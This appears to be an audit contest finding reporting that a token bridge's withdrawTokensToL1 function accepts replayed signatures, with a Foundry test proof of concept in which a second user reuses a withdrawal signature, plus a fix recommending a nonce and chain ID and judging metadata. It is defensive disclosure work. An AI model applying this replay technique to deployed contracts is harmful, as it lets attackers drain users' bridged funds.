Submission Details
Severity:
Withdraw is susceptible to signature replay
Summary
Signature can be re-used.
Vulnerability Details
Signature replay allows malicious actors to withdraw funds to move a users funds (albeit only to the wallet they specified). A key invariant of the bridge is broken when a signature can be successfully used more than once.
Impact
Bridge allows user to specify the l2 recipient, therefore it which could quite realistically be used for debt settlement. This vulnerability would allow the recipient of such a transaction to drain the users funds.
POC
function testSignatureReplay() public {
// create user 2 to replay signature
address user2InL2 = makeAddr("userInL2");
address user2 = makeAddr("user2");
uint256 withdrawalAmount = 5e18;
vm.startPrank(user);
uint256 depositAmount = 10e18;
uint256 userInitialBalance = token.balanceOf(address(user));
token.approve(address(tokenBridge), depositAmount);
tokenBridge.depositTokensToL2(user, userInL2, depositAmount);
assertEq(token.balanceOf(address(vault)), depositAmount);
assertEq(token.balanceOf(address(user)), userInitialBalance - depositAmount);
(uint8 v, bytes32 r, bytes32 s) = _signMessage(_getTokenWithdrawalMessage(user, withdrawalAmount), operator.key);
tokenBridge.withdrawTokensToL1(user, withdrawalAmount, v, r, s);
vm.stopPrank();
vm.startPrank(user2);
tokenBridge.withdrawTokensToL1(user, withdrawalAmount, v, r, s);
}
Tools Used
Manual review
Recommendations
Ensure nonce and chainID is used when generating signature.
Updates
Lead Judging Commences
0xnevi over 1 year ago
Submission Judgement Published Assigned finding tags:
withdrawTokensToL1()/sendToL1(): signature replay
Rewards breakdown
nSLOC
99This contest has a flat reward structure with the following payouts:
100 EXP
20 EXP
2 EXP
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